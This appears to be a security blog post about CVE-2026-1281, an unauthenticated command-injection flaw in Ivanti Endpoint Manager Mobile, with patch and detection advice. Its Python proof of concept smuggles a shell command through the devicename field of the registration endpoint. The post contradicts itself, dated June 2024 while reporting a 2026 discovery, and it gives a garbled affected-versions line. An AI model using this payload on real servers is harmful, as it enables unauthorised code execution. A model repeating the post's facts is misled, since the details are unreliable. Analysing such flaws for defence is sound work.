CVE-2026-1281 - Unauthenticated Remote Code Execution in Ivanti Endpoint Manager Mobile

Author: SecureTech Insights
Date: June 2024

Introduction

In early 2026, cybersecurity researchers uncovered a critical vulnerability in Ivanti Endpoint Manager Mobile (EPMM), tracked as CVE-2026-1281. This vulnerability allows attackers to perform unauthenticated remote code execution (RCE) through simple code injection. Because EPMM is widely used for managing mobile devices in corporate environments, this flaw puts thousands of organizations at serious risk.

In this post, let’s break down how this vulnerability works, see a proof-of-concept exploit, and discuss how to stay safe.

What is Ivanti Endpoint Manager Mobile?

Ivanti Endpoint Manager Mobile (formerly MobileIron) is a platform for managing, securing, and monitoring smartphones and tablets within organizations. It offers a web-based admin console to control corporate devices.

Vulnerability Details

CVE-2026-1281 is a result of improper sanitization in the EPMM web interface. Attackers can send specially crafted HTTP requests to inject system commands. The vulnerable endpoint is accessible before any kind of authentication, making exploitation trivial for anyone who can reach the management interface.

Vulnerability Type: Code Injection / Remote Code Execution
Risk Score: 9.8 (Critical)
Affected Versions: 11.5. before 11.5.2

How Does CVE-2026-1281 Work?

The web server fails to validate certain POST parameters. This lets an attacker provide data that is executed as code on the server.

Path:

/mifs/user/endpoint/register.do

Exploit Example

Here's a simple proof-of-concept in Python. This script shows how an attacker could run arbitrary commands (like id) on a vulnerable server.

import requests

target_url = "http://TARGET-IP/mifs/user/endpoint/register.do";

payload = "mydevice; id > /tmp/pwned ;"

data = {
    "devicename": payload,
    "osVersion": "Android 12"
}

response = requests.post(target_url, data=data)

if response.status_code == 200:
    print("Payload sent! Check /tmp/pwned on the target server.")
else:
    print("Failed to send payload.")

Explanation:
The attacker injects ; id > /tmp/pwned ; into the devicename field. This command writes user information to a file on the server, proving RCE.

Authentication: None required.

- Impact: Full system compromise, data theft, installation of malware, lateral movement inside the network.

Update to Ivanti EPMM 11.5.2 or later, which patches this flaw.

- Check Ivanti’s official security advisory.

Detection

- Review HTTP logs for suspicious interactions with /mifs/user/endpoint/register.do.

Official References

- NIST National Vulnerability Database — CVE-2026-1281
- Ivanti Security Advisory
- Rapid7 Analysis

Closing Thoughts

This vulnerability shows that even respected enterprise software can have major flaws. If your company uses Ivanti EPMM, patching immediately is non-negotiable. Don’t expose sensitive admin panels to the internet, and always monitor your critical infrastructure for suspicious behavior.

Stay Safe!
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Timeline

Published on: 01/29/2026 21:31:17 UTC
Last modified on: 01/30/2026 13:28:18 UTC